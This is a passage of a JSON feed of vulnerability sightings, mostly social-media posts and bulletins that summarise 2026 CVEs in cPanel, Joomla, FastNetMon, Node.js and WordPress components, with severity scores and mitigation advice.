"LiteSpeed cPanel\u30d7\u30e9\u30b0\u30a4\u30f3\u306e\u8106\u5f31\u6027CVE-2026-48172\u304c\u60aa\u7528\u3055\u308c\u3001\u30b9\u30af\u30ea\u30d7\u30c8\u304croot\u6a29\u9650\u3067\u5b9f\u884c\u3055\u308c\u308b\u3053\u3068\u304c\u5224\u660e\n\nLiteSpeed\u306e\u30e6\u30fc\u30b6\u30fc\u30a8\u30f3\u30c9cPanel\u30d7\u30e9\u30b0\u30a4\u30f3\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u308b\u3001\u6700\u3082\u6df1\u523b\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8106\u5f31\u6027\u304c\u3001\u5b9f\u969b\u306b\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u3053\u3068\u304c\u5224\u660e\u3057\u307e\u3057\u305f\u3002\n\nCVE-2026-48172 \uff08CVSS\u30b9\u30b3\u30a2\uff1a10.0\uff09\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u308b\u3053\u306e\u8106\u5f31\u6027\u306f\u3001\u6a29\u9650\u306e\u5272\u308a\u5f53\u3066\u304c\u8aa4\u3063\u3066\u3044\u308b\u305f\u3081\u306b\u3001\u653b\u6483\u8005\u304c\u60aa\u7528\u3057\u3066\u4efb\u610f\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u6607\u683c\u3055\u308c\u305f\u6a29\u9650\u3067\u5b9f\u884c\u3067\u304d\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u3068\u3044\u3046\u3082\u306e\u3067\u3059\u3002\n\n\u300ccPanel\u306e\u30e6\u30fc\u30b6\u30fc\uff08\u653b\u6483\u8005\u3084\u4fb5\u5bb3\u3055\u308c\u305f\u30a2\u30ab\u30a6\u30f3\u30c8\u3092\u542b\u3080\uff09\u306f\u8ab0\u3067\u3082lsws.redi...", "creation_timestamp": "2026-06-20T20:36:44.017140Z"}, {"uuid": "baaa2a84-8c5e-4531-8995-2cc3308f0dea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48207", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3moqrm346uk25", "content": "\u300cApache Fory\u300dPython\u5411\u3051\u5b9f\u88c5\u306b\u8106\u5f31\u6027 - \u4fee\u6b63\u7248\u3092\u63d0\u4f9b\n\n\u30c7\u30fc\u30bf\u306e\u30b7\u30ea\u30a2\u30e9\u30a4\u30ba\u306b\u6d3b\u7528\u3055\u308c\u308b\u30e9\u30a4\u30d6\u30e9\u30ea\u300cApache Fory\u300d\u306ePython\u5411\u3051\u5b9f\u88c5\u300cPyFory\u300d\u306b\u8106\u5f31\u6027\u304c\u660e\u3089\u304b\u3068\u306a\u3063\u305f\u3002\n\n\u4fe1\u983c\u3067\u304d\u306a\u3044\u30c7\u30fc\u30bf\u3092\u30c7\u30b7\u30ea\u30a2\u30e9\u30a4\u30ba\u51e6\u7406\u3059\u308b\u8106\u5f31\u6027\u300cCVE-2026-48207\u300d\u304c\u5224\u660e\u3057\u305f\u3082\u306e\u3002\u300cpyfory 0.17.0\u300d\u304b\u3089\u300c\u540c0.13.0\u300d\u307e\u3067\u304c\u5f71\u97ff\u3092\u53d7\u3051\u308b\u3002\n\n\u7279\u5b9a\u306e\u69cb\u6210\u3067\u30c7\u30b7\u30ea\u30a2\u30e9\u30a4\u30ba\u51e6\u7406\u306e\u30dd\u30ea\u30b7\u30fc\u304c\u56de\u907f\u3055\u308c\u308b\u304a\u305d\u308c\u304c\u3042\u308b\u3002\u958b\u767a\u30c1\u30fc\u30e0\u3067\u306f\u91cd\u8981\u5ea6\u3092\u300c\u91cd\u8981\uff08Important\uff09\u300d\u3068\u30ec\u30fc\u30c6\u30a3\u30f3\u30b0\u3057\u3066\u3044\u308b\u3002", "creation_timestamp": "2026-06-20T21:14:15.481134Z"}, {"uuid": "cc82122e-7c2f-41eb-ab8c-17ebc906a242", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48939", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mor7wauvu62f", "content": "CRITICAL: iCagenda for Joomla (v1.0.0 \u2013 4.0.7) lets attackers upload + execute PHP files, risking full server compromise. No fix yet \u2014 disable feature or apply WAF rules ASAP. https://radar.offseq.com/threat/cve-2026-48939-cwe-284-improper-access-control-in--bc923bedc1d1c47e #OffSeq #Joomla \ud83d\udee1\ufe0f", "creation_timestamp": "2026-06-21T01:30:28.581736Z"}, {"uuid": "a768fefc-26e7-4c97-ab63-900f25f78538", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48939", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116785507532685788", "content": "CVE-2026-48939 (CRITICAL): iCagenda for Joomla (v1.0.0-3.9.14, 4.0.0-4.0.7) allows unauthenticated PHP file upload & execution. No patch yet \u2014 disable or restrict access, use WAF to block. Full site/server compromise risk. Details: https://radar.offseq.com/threat/cve-2026-48939-cwe-284-improper-access-control-in--bc923bedc1d1c47e #OffSeq #Joomla #infosec", "creation_timestamp": "2026-06-21T01:30:29.091535Z"}, {"uuid": "8b3d1c5d-ab83-45ab-9594-ab6b6f23c11c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48909", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3morex5l44o2t", "content": "Critical deserialization issue in JoomShaper SP LMS (Joomla, v1.0.0 \u2013 4.1.3): Unauthenticated RCE possible. No patch confirmed \u2014 restrict access & monitor for abuse. Details: https://radar.offseq.com/threat/cve-2026-48909-cwe-502-deserialization-of-untruste-b0460f6997894c12 #OffSeq #Vulnerability...", "creation_timestamp": "2026-06-21T03:00:27.502416Z"}, {"uuid": "703c1647-25f0-4ec2-8c96-0a0822a5fc63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48909", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116785861349829350", "content": "JoomShaper SP LMS for Joomla (v1.0.0 \u2013 4.1.3) hit by CRITICAL vuln (CVE-2026-48909): unsafe cookie deserialization enables unauth RCE. No patch yet \u2014 restrict access & monitor traffic. Details: https://radar.offseq.com/threat/cve-2026-48909-cwe-502-deserialization-of-untruste-b0460f6997894c12 #OffSeq #Joomla #CVE #infosec", "creation_timestamp": "2026-06-21T03:00:34.705588Z"}, {"uuid": "d4107507-b848-4ea1-a995-6ea58b5b189e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48909", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3morluejtd22v", "content": "Daily IT Security Digest \u2014 2026-06-21\nDeserialization**\nCRITICAL vulnerability (CVE-2026-48909) in JoomShaper SP LMS for Joomla (v1.0.0\u20134.1.3) allows unauthenticated remote code execution via unsafe cookie deserialization. No patch exists yet; administrators should restrict access and monitor", "creation_timestamp": "2026-06-21T05:04:10.165057Z"}, {"uuid": "6a6b5cb0-a04a-4efc-8834-701ac70a85d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48909", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3morlues37w2j", "content": "Daily IT Security Digest \u2014 2026-06-21\nclosely.\nSources: [OffSeq Radar](https://radar.offseq.com/threat/cve-2026-48909) \u00b7 [infosec.exchange @offseq](https://infosec.exchange/@offseq/116785861349829350)\n\n**8. Rockstar Games Data Breach \u2014 ~80 Million Records Exposed**\nHackers claim to have stolen", "creation_timestamp": "2026-06-21T05:04:10.707998Z"}, {"uuid": "a148f6ba-74cc-488c-a994-be3ffdfbd83d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "seen", "source": "https://bsky.app/profile/cybersecinsight.bsky.social/post/3mosbytrxib2v", "content": "\ud83d\udd0d Vulnerability Spotlight | Part 2/3\n\n\u26a0\ufe0f CVE-2026-48908\n\nA vulnerability in the SP Page Builder for Joomla allows the upload of arbitrary files for unauthenticated users, ultimately resulting in PHP code ...", "creation_timestamp": "2026-06-21T11:40:21.437007Z"}, {"uuid": "32ba867c-00fb-4820-b26e-41d72ab63351", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116788487271185894", "content": "It is possible to see elevated activities targeting joomshaper SP Page Builder extension for Joomla (CVE-2026-48908) https://vuldb.com/vuln/372537/cti", "creation_timestamp": "2026-06-21T14:10:21.913422Z"}, {"uuid": "9feb7d30-ca84-446f-8aa2-96200310779a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48137", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mosuk6njlb22", "content": "CVE-2026-48137 - Critical RCE in NI grpc-device. Untrusted pointer dereference in sideband streaming API. CVSS 9.1. No patch available. Update immediately or mitigate. #CVE #infosec #NI\n\nhttps://www.valtersit.com/cve/CVE-2026-48137/", "creation_timestamp": "2026-06-21T17:12:10.555213Z"}, {"uuid": "c402fe20-33f0-45a8-8307-aa900b94cb7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/trinacriatech.bsky.social/post/3mota7ywdm226", "content": "CVE-2026-48907 (CVSS 10.0) \u2014 Joomla JCE plugin: upload rogue editor profile \u2192 PHP web shell. Exploitation automatizzata ITW. CISA KEV, deadline FCEB: oggi. Patch: JCE 2.9.99.5. #Joomla #CISAKEV", "creation_timestamp": "2026-06-21T20:41:14.299105Z"}, {"uuid": "65930e07-941a-445f-b7e1-4d989341cc2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48933", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3motlougng225", "content": "Node.js\u30012026\u5e746\u6708\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ea\u30ea\u30fc\u30b9\u306712\u4ef6\u306e\u8106\u5f31\u6027\u3092\u4fee\u6b63(CVE-2026-48933,CVE-2026-48618)\u4ed6\n\nrocket-boys.co.jp/security-mea...\n\n#\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5bfe\u7b56Lab #security #securitynews", "creation_timestamp": "2026-06-22T00:06:27.079098Z"}, {"uuid": "9d369dd8-6232-4a32-9870-9a9cde15d431", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48618", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3motlougng225", "content": "Node.js\u30012026\u5e746\u6708\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ea\u30ea\u30fc\u30b9\u306712\u4ef6\u306e\u8106\u5f31\u6027\u3092\u4fee\u6b63(CVE-2026-48933,CVE-2026-48618)\u4ed6\n\nrocket-boys.co.jp/security-mea...\n\n#\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5bfe\u7b56Lab #security #securitynews", "creation_timestamp": "2026-06-22T00:06:27.224302Z"}, {"uuid": "073fc731-ede0-4115-8a34-9394c6b55514", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4858", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3motmhez5pf2z", "content": "\ud83d\udea8  ALERT: CVE-2026-4858\n\nCVSS 8.0/10\n\n\ud83d\udccb WHAT IT IS:\nMattermost versions 11.6.x <= 11.6.0, 11.5.x <= 11.5.3, 11.4.x <= 11.4.4, 10.11.x <= 10.11.14 fail to check integration URL for path traversal which allows an malicious authenticated user  to call an arbitrary API via system admin Mattermost auth t", "creation_timestamp": "2026-06-22T00:20:06.134949Z"}, {"uuid": "50ac8212-3e76-4254-9d3a-d5496f047ebe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48584", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3motnfcrouu2v", "content": "\ud83d\udea8  ALERT: CVE-2026-48584\n\nCVSS 9.9/10\n\n\ud83d\udccb WHAT IT IS:\nExecution with unnecessary privileges in Azure Synapse allows an authorized attacker to elevate privileges over a network.\n\n\ud83c\udfaf WHO'S AFFECTED:\n  \u2022 Azure Synapse\n\n\u2694\ufe0f HOW IT'S EXPLOITED:\nAttack vector: NETWORK\nImpact: high impact on confidentiality, ", "creation_timestamp": "2026-06-22T00:36:50.428011Z"}, {"uuid": "cbb4fd2b-16e6-4b50-8403-6845163bf55b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48582", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3motnwlvi4d2s", "content": "\ud83d\udea8  ALERT: CVE-2026-48582\n\nCVSS 9.6/10\n\n\ud83d\udccb WHAT IT IS:\nMissing authorization in Microsoft Exchange Online allows an authorized attacker to elevate privileges over a network.\n\n\ud83c\udfaf WHO'S AFFECTED:\n  \u2022 Microsoft Exchange Online, Microsoft, Exchange\n\n\u2694\ufe0f HOW IT'S EXPLOITED:\nAttack vector: NETWORK\nImpact: hig", "creation_timestamp": "2026-06-22T00:46:30.477224Z"}, {"uuid": "d276d20d-ef41-4d1b-8cbe-1fa4d6286ac1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4885", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3motosv5ecy2v", "content": "\ud83d\udea8  ALERT: CVE-2026-4885\n\nCVSS 9.8/10\n\n\ud83d\udccb WHAT IT IS:\nThe Piotnet Addons for Elementor Pro plugin for WordPress is vulnerable to arbitrary file upload due to missing file type validation in the 'pafe_ajax_form_builder' function in all versions up to, and including, 7.1.70. The plugin uses an incomplet", "creation_timestamp": "2026-06-22T01:02:19.723903Z"}, {"uuid": "f7b84662-1dc4-49f9-b0ca-a70bcf869746", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4883", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3motqhuzlvl2m", "content": "\ud83d\udea8  ALERT: CVE-2026-4883\n\nCVSS 9.8/10\n\n\ud83d\udccb WHAT IT IS:\nThe Piotnet Forms plugin for WordPress is vulnerable to arbitrary file upload due to missing file type validation in the 'piotnetforms_ajax_form_builder' function in all versions up to, and including, 2.1.40. The plugin uses an incomplete extension", "creation_timestamp": "2026-06-22T01:31:58.084879Z"}, {"uuid": "fd3b363e-bc6d-473c-9852-89000f98cb4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3motsyggsdb27", "content": "\ud83d\udea8  ALERT: CVE-2026-48172\n\nCVSS 9.8/10\n\n\ud83d\udccb WHAT IT IS:\nLiteSpeed User-End cPanel Plugin before 2.4.5 allows privilege escalation (possibly to root), as exploited in the wild in May 2026. Detection is best done via a command line of grep -rE \"cpanel_jsonapi_func=redisAble\" /var/cpanel/logs /usr/local/c", "creation_timestamp": "2026-06-22T02:17:00.512180Z"}, {"uuid": "bc3cce29-035f-40c1-ad6b-38a4ebd0c77a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48889", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mou4z4r3mt23", "content": "CVE-2026-48889 ameliabooking (CVSS Score 8.8) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-22T05:16:21.793026Z"}, {"uuid": "4e72fd82-5438-4558-ab5b-0ec673c3529f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48687", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3mou46rwq6m2f", "content": "\ud83d\udea8  ALERT: CVE-2026-48687\n\nCVSS 9.8/10\n\n\ud83d\udccb WHAT IT IS:\nFastNetMon Community Edition through 1.2.9 contains an OS command injection vulnerability in the Juniper router integration plugin. The _log() function in src/juniper_plugin/fastnetmon_juniper.php (lines 117-118) constructs shell commands by conca", "creation_timestamp": "2026-06-22T05:01:37.815809Z"}, {"uuid": "0a314209-645e-43cf-9929-5b0f7effe204", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48686", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3mou3eaz2fv2b", "content": "\ud83d\udea8  ALERT: CVE-2026-48686\n\nCVSS 9.8/10\n\n\ud83d\udccb WHAT IT IS:\nFastNetMon Community Edition through 1.2.9 contains a stack-based buffer overflow in the BGP NLRI (Network Layer Reachability Information) decoder. The function decode_bgp_subnet_encoding_ipv4_raw() in src/bgp_protocol.cpp reads prefix_bit_length ", "creation_timestamp": "2026-06-22T04:46:47.315929Z"}, {"uuid": "3cfa0254-3a6e-4da5-8514-1dfb945fa91f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48691", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3mou527n3u52f", "content": "\ud83d\udea8  ALERT: CVE-2026-48691\n\nCVSS 9.8/10\n\n\ud83d\udccb WHAT IT IS:\nFastNetMon Community Edition through 1.2.9 contains an integer overflow in the BGP AS_PATH attribute encoder. In src/bgp_protocol.hpp, the IPv4UnicastAnnounce::get_attributes() function computes attribute_length as 'sizeof(bgp_as_path_segment_elem", "creation_timestamp": "2026-06-22T05:16:57.911247Z"}, {"uuid": "701b12e1-310c-4359-8e76-ac1500d3aa7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48898", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3mou5uunp2t2b", "content": "\ud83d\udea8  ALERT: CVE-2026-48898\n\nCVSS 9.8/10\n\n\ud83d\udccb WHAT IT IS:\nAn improper access check allows privilege escalation through the com_users batch task.\n\n\ud83c\udfaf WHO'S AFFECTED:\n  \u2022 Joomla\\!\n\n\u2694\ufe0f HOW IT'S EXPLOITED:\nAttack vector: unknown\nImpact: high impact on confidentiality, integrity, availability\n\n\u2705 WHAT TO DO:\n  ", "creation_timestamp": "2026-06-22T05:31:52.464230Z"}, {"uuid": "ccf3f634-e832-44e9-b034-6e0482ef6f1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48899", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3mou5v3jzmx27", "content": "\ud83d\udea8  ALERT: CVE-2026-48899\n\nCVSS 9.8/10\n\n\ud83d\udccb WHAT IT IS:\nAn improper access check allows privilege escalation through the com_users batch task.\n\n\ud83c\udfaf WHO'S AFFECTED:\n  \u2022 Joomla\\!\n\n\u2694\ufe0f HOW IT'S EXPLOITED:\nAttack vector: unknown\nImpact: high impact on confidentiality, integrity, availability\n\n\u2705 WHAT TO DO:\n  ", "creation_timestamp": "2026-06-22T05:31:59.499346Z"}, {"uuid": "64ccb30b-d677-4aa0-9059-54e8ca18114b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48904", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3mou5vcertt2b", "content": "\ud83d\udea8  ALERT: CVE-2026-48904\n\nCVSS 9.8/10\n\n\ud83d\udccb WHAT IT IS:\nAn improper access check allows privelege escalation through the com_users group editing webservice endpoint.\n\n\ud83c\udfaf WHO'S AFFECTED:\n  \u2022 Joomla\\!\n\n\u2694\ufe0f HOW IT'S EXPLOITED:\nAttack vector: unknown\nImpact: high impact on confidentiality, integrity, availab", "creation_timestamp": "2026-06-22T05:32:06.620895Z"}, {"uuid": "049939ff-1078-4fec-b248-7d1fa67c98c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48689", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3mou6pfir432v", "content": "\ud83d\udea8  ALERT: CVE-2026-48689\n\nCVSS 9.8/10\n\n\ud83d\udccb WHAT IT IS:\nFastNetMon Community Edition through 1.2.9 contains an off-by-one heap-based buffer overflow in the dynamic_binary_buffer_t class (src/dynamic_binary_buffer.hpp). Five methods (append_dynamic_buffer, append_data_as_pointer, append_data_as_object_p", "creation_timestamp": "2026-06-22T05:46:42.390292Z"}, {"uuid": "fe53e6dd-f46f-4cf3-ae27-c6b4500ab73a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48617", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/node-js-multiple-vulnerabilities_20260622", "content": "", "creation_timestamp": "2026-06-21T19:00:00.000000Z"}, {"uuid": "a7ba74a4-14f5-49d6-8254-7164331a4ea5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48618", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/node-js-multiple-vulnerabilities_20260622", "content": "", "creation_timestamp": "2026-06-21T19:00:00.000000Z"}, {"uuid": "7c39fe83-08d3-4bd7-8403-1c8e49d47257", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48619", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/node-js-multiple-vulnerabilities_20260622", "content": "", "creation_timestamp": "2026-06-21T19:00:00.000000Z"}, {"uuid": "706a52a8-0912-428c-99c8-d0716615196a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48928", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/node-js-multiple-vulnerabilities_20260622", "content": "", "creation_timestamp": "2026-06-21T19:00:00.000000Z"}, {"uuid": "c5cdcddd-1b26-4dc0-84a2-50d5e4dbf52e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48930", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/node-js-multiple-vulnerabilities_20260622", "content": "", "creation_timestamp": "2026-06-21T19:00:00.000000Z"}, {"uuid": "a6827eba-fe2a-40aa-9f1d-de5f20bf9f02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48931", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/node-js-multiple-vulnerabilities_20260622", "content": "", "creation_timestamp": "2026-06-21T19:00:00.000000Z"}, {"uuid": "95dc9194-0200-442e-9765-c4fa00395e2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48933", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/node-js-multiple-vulnerabilities_20260622", "content": "", "creation_timestamp": "2026-06-21T19:00:00.000000Z"}, {"uuid": "9cc0fdb1-417f-4953-a0d8-d6694567823e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48934", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/node-js-multiple-vulnerabilities_20260622", "content": "", "creation_timestamp": "2026-06-21T19:00:00.000000Z"}, {"uuid": "d9805c05-4e6f-4ec2-aeb1-ca9addeef6ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48935", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/node-js-multiple-vulnerabilities_20260622", "content": "", "creation_timestamp": "2026-06-21T19:00:00.000000Z"}, {"uuid": "da482ff1-5b08-42b7-8fb0-c211f600fe75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48936", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/node-js-multiple-vulnerabilities_20260622", "content": "", "creation_timestamp": "2026-06-21T19:00:00.000000Z"}, {"uuid": "30f32efc-07ab-4380-a57a-d00e42114866", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48937", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/node-js-multiple-vulnerabilities_20260622", "content": "", "creation_timestamp": "2026-06-21T19:00:00.000000Z"}, {"uuid": "db639bef-6ed0-47e6-abc8-e762f980340d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48615", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/node-js-multiple-vulnerabilities_20260622", "content": "", "creation_timestamp": "2026-06-21T19:00:00.000000Z"}, {"uuid": "98b89684-f7f7-4e4f-954f-5305c5d7d716", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3mou7kezi552n", "content": "\ud83d\udea8  ALERT: CVE-2026-48907\n\nCVSS 9.8/10\n\n\ud83d\udccb WHAT IT IS:\nA vulnerability in the JCE editor extension for Joomla allows the creation of new editor profiles for unauthenticated users, ultimately resulting in PHP code upload and execution.\n\n\ud83c\udfaf WHO'S AFFECTED:\n  \u2022 Jce\n\n\u2694\ufe0f HOW IT'S EXPLOITED:\nAttack vector: N", "creation_timestamp": "2026-06-22T06:01:49.001066Z"}, {"uuid": "cfbbfa6f-8db1-472e-9cd0-a35ea13144ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48965", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mouaeeqom52r", "content": "CVE-2026-48965 xcloner-backup-and-restore (CVSS Score 4.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-22T06:16:22.577787Z"}, {"uuid": "943287ac-3662-4b15-953e-1ad609fe0466", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48880", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3moudpon4vj2i", "content": "CVE-2026-48880 wp-job-portal (CVSS 